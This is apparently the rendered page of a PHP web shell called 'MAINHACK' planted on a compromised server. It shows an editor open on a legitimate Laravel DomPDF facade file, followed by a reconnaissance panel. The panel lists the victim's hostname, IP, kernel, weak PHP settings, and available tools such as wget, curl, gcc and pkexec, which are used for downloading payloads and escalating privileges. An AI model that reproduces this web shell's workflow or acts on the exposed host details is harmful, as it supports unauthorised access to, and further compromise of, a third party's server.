[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Pdf.php
<?php namespace Barryvdh\DomPDF\Facade; use Barryvdh\DomPDF\PDF as BasePDF; use Illuminate\Support\Facades\Facade as IlluminateFacade; use RuntimeException; /** * @method static BasePDF setBaseHost(string $baseHost) * @method static BasePDF setBasePath(string $basePath) * @method static BasePDF setCanvas(\Dompdf\Canvas $canvas) * @method static BasePDF setCallbacks(array $callbacks) * @method static BasePDF setCss(\Dompdf\Css\Stylesheet $css) * @method static BasePDF setDefaultView(string $defaultView, array $options) * @method static BasePDF setDom(\DOMDocument $dom) * @method static BasePDF setFontMetrics(\Dompdf\FontMetrics $fontMetrics) * @method static BasePDF setHttpContext(resource|array $httpContext) * @method static BasePDF setPaper(string|float[] $paper, string $orientation = 'portrait') * @method static BasePDF setProtocol(string $protocol) * @method static BasePDF setTree(\Dompdf\Frame\FrameTree $tree) * @method static BasePDF setWarnings(bool $warnings) * @method static BasePDF setOption(array|string $attribute, $value = null) * @method static BasePDF setOptions(array $options) * @method static BasePDF loadView(string $view, array $data = [], array $mergeData = [], ?string $encoding = null) * @method static BasePDF loadHTML(string $string, ?string $encoding = null) * @method static BasePDF loadFile(string $file) * @method static BasePDF addInfo(array $info) * @method static string output(array $options = []) * @method static BasePDF save() * @method static \Illuminate\Http\Response download(string $filename = 'document.pdf') * @method static \Illuminate\Http\Response stream(string $filename = 'document.pdf') */ class Pdf extends IlluminateFacade { /** * Get the registered name of the component. * * @return string */ protected static function getFacadeAccessor() { return 'dompdf.wrapper'; } /** * Handle dynamic, static calls to the object. * * @param string $method * @param array<mixed> $args * @return mixed * * @throws \RuntimeException */ public static function __callStatic($method, $args) { /** @var \Illuminate\Contracts\Foundation\Application|null */ $app = static::getFacadeApplication(); if (! $app) { throw new RuntimeException('Facade application has not been set.'); } // Resolve a new instance, avoid using a cached instance $instance = $app->make(static::getFacadeAccessor()); return $instance->$method(...$args); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002